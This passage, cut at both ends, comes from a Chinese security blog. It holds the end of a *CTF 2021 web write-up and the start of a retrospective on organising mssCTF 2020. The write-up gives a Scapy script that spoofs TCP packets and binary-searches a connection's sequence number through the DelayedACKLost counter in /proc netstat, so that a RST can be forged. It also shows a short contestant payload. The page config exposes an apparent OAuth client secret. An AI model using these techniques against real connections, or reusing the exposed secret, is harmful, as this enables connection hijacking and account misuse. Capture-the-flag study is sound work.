class=\"title\"\u003etcp_sock\u003c/span\u003e *\u003cspan class=\"title\"\u003etp\u003c/span\u003e =\u003c/span\u003e \u003cspan class=\"built_in\"\u003etcp_sk\u003c/span\u003e(sk);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"built_in\"\u003eTCP_SKB_CB\u003c/span\u003e(skb)-\u0026gt;end_seq != \u003cspan class=\"built_in\"\u003eTCP_SKB_CB\u003c/span\u003e(skb)-\u0026gt;seq \u0026amp;\u0026amp;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ebefore\u003c/span\u003e(\u003cspan class=\"built_in\"\u003eTCP_SKB_CB\u003c/span\u003e(skb)-\u0026gt;seq, tp-\u0026gt;rcv_nxt)) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eNET_INC_STATS\u003c/span\u003e(\u003cspan class=\"built_in\"\u003esock_net\u003c/span\u003e(sk), LINUX_MIB_DELAYEDACKLOST);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003etcp_enter_quickack_mode\u003c/span\u003e(sk, TCP_MAX_QUICKACKS);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 省略\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003etcp_send_ack\u003c/span\u003e(sk);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这个before的换行位置是真的阴间,我看了半天才发现这玩意在条件判断\u003cstrong\u003e里头\u003c/strong\u003e\u003cbr\u003e这里有个很有意思的东西,\u003ccode\u003eNET_INC_STATS(sock_net(sk), LINUX_MIB_DELAYEDACKLOST);\u003c/code\u003e\u003cbr\u003e就是说如果我们发送的这个数据包的seq比当前想要接收到的seq要小的话,linux会将DELAYEDACKLOST的值增加1。\u003cbr\u003e这个数值在哪里体现呢?在\u003ccode\u003e/proc/\u0026lt;pid\u0026gt;/net/netstat\u003c/code\u003e里头就有。\u003c/p\u003e\u003cimg src=\"/2021/01/18/Security/Writeup/*CTF-2021-Web/netstat.png\" class=\"\" title=\"netstat\"\u003e\u003cp\u003e也就是说我们不仅能知道我们的seq对还是错(这样我们需要遍历整个int32,不至于到天涯海角吧至少80秒是有了),而且还能知道seq大还是小。\u003cbr\u003e这样我们就能用小学二年级就学过的二分法,最多发32来个包,就能得到在窗口范围内的seq,进而伪造发送给client的RST包。\u003c/p\u003e\u003cdiv class='spoiler collapsed'\u003e \u003cdiv class='spoiler-title'\u003e 参考脚本 \u003c/div\u003e \u003cdiv class='spoiler-content'\u003e \u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e pprint \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e pprint\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e requests \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e session\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e scapy.\u003cspan class=\"built_in\"\u003eall\u003c/span\u003e \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e *\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e time\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eses = session()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# conf.L3socket = L3RawSocket\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eclient = \u003cspan class=\"string\"\u003e\u0026#x27;172.21.0.3\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eserver = \u003cspan class=\"string\"\u003e\u0026#x27;172.21.0.2\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003ebuild\u003c/span\u003e(\u003cspan class=\"params\"\u003eseq\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ip = IP(src=server, dst=client)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e tcp = TCP(sport=\u003cspan class=\"number\"\u003e21587\u003c/span\u003e, dport=\u003cspan class=\"number\"\u003e7775\u003c/span\u003e, flags=\u003cspan class=\"string\"\u003e\u0026quot;A\u0026quot;\u003c/span\u003e, seq=seq)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e pkt = ip / tcp / \u003cspan class=\"string\"\u003e\u0026#x27;payload\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e pkt\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003eread\u003c/span\u003e(\u003cspan class=\"params\"\u003ename\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e ses.get(\u003cspan class=\"string\"\u003ef\u0026#x27;http://\u003cspan class=\"subst\"\u003e\u0026#123;client\u0026#125;\u003c/span\u003e:5000/file\u0026#x27;\u003c/span\u003e, params=\u0026#123;\u003cspan class=\"string\"\u003e\u0026#x27;name\u0026#x27;\u003c/span\u003e: name\u0026#125;).text\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003eparse\u003c/span\u003e(\u003cspan class=\"params\"\u003etext\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e res = \u0026#123;\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e lines = text.split(\u003cspan class=\"string\"\u003e\u0026#x27;\\n\u0026#x27;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e i \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"built_in\"\u003erange\u003c/span\u003e(\u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"built_in\"\u003elen\u003c/span\u003e(lines), \u003cspan class=\"number\"\u003e2\u003c/span\u003e):\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"keyword\"\u003enot\u003c/span\u003e \u003cspan class=\"built_in\"\u003elen\u003c/span\u003e(lines[i]):\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e key, keys = lines[i].split(\u003cspan class=\"string\"\u003e\u0026#x27;: \u0026#x27;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e key, vals = lines[i + \u003cspan class=\"number\"\u003e1\u003c/span\u003e].split(\u003cspan class=\"string\"\u003e\u0026#x27;: \u0026#x27;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e res[key] = \u003cspan class=\"built_in\"\u003edict\u003c/span\u003e(\u003cspan class=\"built_in\"\u003ezip\u003c/span\u003e(keys.split(\u003cspan class=\"string\"\u003e\u0026#x27; \u0026#x27;\u003c/span\u003e), vals.split(\u003cspan class=\"string\"\u003e\u0026#x27; \u0026#x27;\u003c/span\u003e)))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e res\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003enetstat = parse(read(\u003cspan class=\"string\"\u003e\u0026#x27;/proc/1/net/netstat\u0026#x27;\u003c/span\u003e))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003einitial = netstat[\u003cspan class=\"string\"\u003e\u0026#x27;TcpExt\u0026#x27;\u003c/span\u003e][\u003cspan class=\"string\"\u003e\u0026#x27;DelayedACKLost\u0026#x27;\u003c/span\u003e]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eseq_now = \u003cspan class=\"number\"\u003e0\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e i \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"built_in\"\u003erange\u003c/span\u003e(\u003cspan class=\"number\"\u003e2\u003c/span\u003e**\u003cspan class=\"number\"\u003e4\u003c/span\u003e):\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e send(build(i \u0026lt;\u0026lt; \u003cspan class=\"number\"\u003e27\u003c/span\u003e))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e netstat = parse(read(\u003cspan class=\"string\"\u003e\u0026#x27;/proc/1/net/netstat\u0026#x27;\u003c/span\u003e))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e netstat[\u003cspan class=\"string\"\u003e\u0026#x27;TcpExt\u0026#x27;\u003c/span\u003e][\u003cspan class=\"string\"\u003e\u0026#x27;DelayedACKLost\u0026#x27;\u003c/span\u003e] \u0026gt; initial:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e seq_now = i \u0026lt;\u0026lt; \u003cspan class=\"number\"\u003e27\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e i \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"built_in\"\u003erange\u003c/span\u003e(\u003cspan class=\"number\"\u003e4\u003c/span\u003e, \u003cspan class=\"number\"\u003e31\u003c/span\u003e):\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e send(build(seq_now | (\u003cspan class=\"number\"\u003e1\u003c/span\u003e \u0026lt;\u0026lt; (\u003cspan class=\"number\"\u003e31\u003c/span\u003e - i))))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e netstat = parse(read(\u003cspan class=\"string\"\u003e\u0026#x27;/proc/1/net/netstat\u0026#x27;\u003c/span\u003e))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e netstat[\u003cspan class=\"string\"\u003e\u0026#x27;TcpExt\u0026#x27;\u003c/span\u003e][\u003cspan class=\"string\"\u003e\u0026#x27;DelayedACKLost\u0026#x27;\u003c/span\u003e] == initial + \u003cspan class=\"number\"\u003e1\u003c/span\u003e:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e seq_now |= (\u003cspan class=\"number\"\u003e1\u003c/span\u003e \u0026lt;\u0026lt; (\u003cspan class=\"number\"\u003e31\u003c/span\u003e - i))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelif\u003c/span\u003e netstat[\u003cspan class=\"string\"\u003e\u0026#x27;TcpExt\u0026#x27;\u003c/span\u003e][\u003cspan class=\"string\"\u003e\u0026#x27;DelayedACKLost\u0026#x27;\u003c/span\u003e] \u0026gt; initial:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e# conflict\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e exit(\u003cspan class=\"number\"\u003e1\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e time.sleep(\u003cspan class=\"number\"\u003e0.5\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(seq_now)\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e \u003c/div\u003e\u003c/div\u003e\u003cp\u003e然而出题人,对不起,你这还是有非预期。\u003c/p\u003e\u003cp\u003e\u003cs\u003e我们再来仔细看看\u003ccode\u003edocker-compose.yml\u003c/code\u003e,看看是不是少了什么(自行看附件去)\u003c/s\u003e\u003cbr\u003e\u003cs\u003e对的,没有depends_on,即使有可能也有问题。\u003c/s\u003e\u003cbr\u003e修正:docker-compose.yml中确实有depends_on,但是仍然有启动顺序上的问题。\u003c/p\u003e\u003cp\u003e请读到这篇博客的同学熟背下面链接里的东西\u003cbr\u003e\u003ca href=\"https://docs.docker.com/compose/startup-order/\"\u003ehttps://docs.docker.com/compose/startup-order/\u003c/a\u003e\u003c/p\u003e\u003cp\u003e根据我个人的调查,一血的payload是这样的:\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e socket \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e *\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etry\u003c/span\u003e:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e tcpSerSock = socket(AF_INET, SOCK_STREAM)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e tcpSerSock.connect((\u003cspan class=\"string\"\u003e\u0026#x27;172.25.0.2\u0026#x27;\u003c/span\u003e, \u003cspan class=\"number\"\u003e21587\u003c/span\u003e))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e tcpSerSock.send(\u003cspan class=\"string\"\u003eb\u0026#x27;*ctf\u0026#x27;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(tcpSerSock.recv(\u003cspan class=\"number\"\u003e1280\u003c/span\u003e))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eexcept\u003c/span\u003e Exception \u003cspan class=\"keyword\"\u003eas\u003c/span\u003e e:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026quot;ERROR\u0026quot;\u003c/span\u003e, e)\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e二血更是离谱,直接进去弹了个shell,上了一血的车,代码里直接就有flag(我也不知道为什么flag会在代码的注释里)\u003c/p\u003e\u003cimg src=\"/2021/01/18/Security/Writeup/*CTF-2021-Web/flag_in_py.png\" class=\"\" title=\"what??\"\u003e\u003cp\u003e。。。所以说,这是多么悲伤的故事\u003c/p\u003e\u003ch2 id=\"总结\"\u003e总结\u003c/h2\u003e\u003cp\u003e没有。\u003c/p\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async\u003e\u003c/script\u003e","url":"https://blog.frankli.site/2021/01/18/Security/Writeup/*CTF-2021-Web/"},{"title":"mssCTF 2020 手记","time":"2020-09-19T16:00:00Z","content":"\u003ch2 id=\"前言\"\u003e前言\u003c/h2\u003e\n\u003cp\u003e自2018年第一届以来已经办了三届中学生比赛了。无论从出题还是运维角度,mss都已经相对稳定。不出意料,比赛过程中存在着许多问题,况且今年由于疫情原因在线上进行了决赛,但总体而言,在多方努力与支持下,比赛还是相当不错的。\u003c/p\u003e\n\u003cp\u003chr /\u003e\u003ch2 id=\"前言\"\u003e前言\u003c/h2\u003e\u003cp\u003e自2018年第一届以来已经办了三届中学生比赛了。无论从出题还是运维角度,mss都已经相对稳定。不出意料,比赛过程中存在着许多问题,况且今年由于疫情原因在线上进行了决赛,但总体而言,在多方努力与支持下,比赛还是相当不错的。\u003c/p\u003e\u003cp\u003e这份总结是对各位的总结的一个大杂烩,段落的作者将以以下的形式给出:\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e作者id\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e内容\u003c/p\u003e\u003ch2 id=\"运维\"\u003e运维\u003c/h2\u003e\u003ch3 id=\"CTFd部署\"\u003eCTFd部署\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003eFrank\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e与去年的情况类似,平台最后都基本落到了我手里。平台的部署实际上没有费太大功夫,所有的东西都是现成的。最终用的插件有:\u003c/p\u003e\u003cul\u003e\u003cli\u003eACM评测插件(之前写好的,改了一点前端)\u003c/li\u003e\u003cli\u003e附件下发插件(By Reverier)\u003c/li\u003e\u003cli\u003e容器下发插件(改的ctfd-whale)\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e大部分都是现成的,部署起来很方便。无非就是需要更换一下非本地资源文件的CDN并分离静态文件。\u003cbr\u003e不过由于moeCTF时让rx提前研究了静态文件如何压缩、分离并由nginx单独serve,以后的比赛应该不用我干预了\u003c/p\u003e\u003ch3 id=\"日志\"\u003e日志\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003eReverier\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e初赛太辛苦BlackW@tch了. 初赛Web题目采用了静态docker部署的方式, 所有选手共用一个环境. 赛前去看他部署的时候发现apache的日志输出直接映射到了stdout, 这样搞的没办法查看log了, 但是想着题目应该不会出啥大问题, 折腾了一会儿没折腾好就放弃了. 第二天就直接上线.\u003c/p\u003e\u003cp\u003e然后web题成功出问题了. 有一名选手拿到flag之后挂了个脚本持续删掉flag, 重启docker之后继续删, 活生生的把CTF变成了出题人和选手之间的AD. bw只想着赶快修好环境, 也忘记先导出日志抓人, 日志又被重定向到了stdout, 重启一下docker啥都没了, 最后想起来的时候人也没抓着, 比赛也快结束了.\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003eFrank\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e决赛时由于Web题目统一部署到了同一台服务器,进行动态容器下发,便于日志的记录,采用了腾讯云的日志服务,能看到所有人启动了什么容器且能看到包括请求题在内的完整的请求记录,相对方便对做题进度与做题人进行监控。虽然决赛的web题目并没有很多人做出来,但是从日志还是可以看出很多人通过了一定的关卡的。\u003c/p\u003e\u003cp\u003e在以后的比赛中一定要做好题目日志的记录,时刻把握好做题人的进展。一来日志的收集也不麻烦(当然要提前熟悉好),二来好处多多:\u003c/p\u003e\u003cul\u003e\u003cli\u003e方便反作弊(最直接的原因)\u003c/li\u003e\u003cli\u003e腾讯云日志免费保留14天,期间如果有人举报,可以随时对现场进行还原。\u003c/li\u003e\u003cli\u003e比赛中把握出题人的做题状况可以适时放hint\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e上面的这些主要面对的是web题目,但对别的方向理应也有一定参考价值。\u003c/p\u003e\u003ch3 id=\"关于插件与反作弊\"\u003e关于插件与反作弊\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003eReverier\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e在讨论平台的反作弊措施时有人提出了能否给不同选手分发不同题目文件的想法, 思索了一下觉得可行, 我便答应下来, 然后投入到静态题目文件自动分发插件的工作当中. 由于时间紧急就没能好好研究CTFd的文件上传与储存机制, 最开始的想法是创建一种新的挑战类型, 然后慢慢改; 后来写好之后发现数据库冲突了, 测试了好久依旧无法实现. 经Frank的提示, 发现其实只要创建一种新的flag类型即可. 时间紧急就采用了最简单的写法, 在api/v1/challenges.py里直接判断flag类型然后返回对应的文件, 简单粗暴. 这样写出来的插件由于更改了平台原有的文件, 所以没法即插即用, 等有时间了好好研究一下如何在不更改原有api的情况下实现自动分发.\u003c/p\u003e\u003cp\u003e初赛过程中自动分发插件倒工作良好, 没出什么幺蛾子.\u003c/p\u003e\u003cp\u003e复赛的账号分发任务交给我来做了, 采用自动注册脚本没费什么力气, 然后发送邮件拜托洛千用工具人做法全部发送到了选手的邮箱. 自动分发插件依旧沿用初赛的插件. Frank收集了所有web和pwn题目之后采用CTFd-Whale插件把题目弄成了动态的, 选手启动自己专属的docker环境做题, flag也各不相同, 防止作弊的同时也有效避免了初赛选手删flag的问题. PPC评测由于Windows下换行符CRLF的问题导致测试题目部分选手写的代码没有通过, 不过没什么大碍. 整个复赛过程中平台运行情况挺稳定的, 整个复赛过程中动态题目总共创建了487次docker环境, 其中用于测试题目创建了51次, 选手解题创建了436次, 其中陈培琛启动了35次题目环境, 杜厚德启动了32次, 陈鸿嘉启动了29次, 在\u0026quot;浪费服务器性能排行榜\u0026quot;上夺得前三.\u003c/p\u003e\u003ch2 id=\"出题与审题\"\u003e出题与审题\u003c/h2\u003e\u003cp\u003e题目很多都是让19级的学弟出的,完整的题目负责列表如下:\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth style=\"text-align:center\"\u003e场次\u003c/th\u003e\u003cth style=\"text-align:center\"\u003e分类\u003c/th\u003e\u003cth style=\"text-align:center\"\u003e题目名\u003c/th\u003e\u003cth style=\"text-align:center\"\u003e出题人\u003c/th\u003e\u003cth style=\"text-align:center\"\u003e|\u003c/th\u003e\u003cth style=\"text-align:center\"\u003e场次\u003c/th\u003e\u003cth style=\"text-align:center\"\u003e分类\u003c/th\u003e\u003cth style=\"text-align:center\"\u003e题目名\u003c/th\u003e\u003cth style=\"text-align:center\"\u003e出题人\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd style=\"text-align:center\"\u003e初赛\u003c/td\u003e\u003ctd 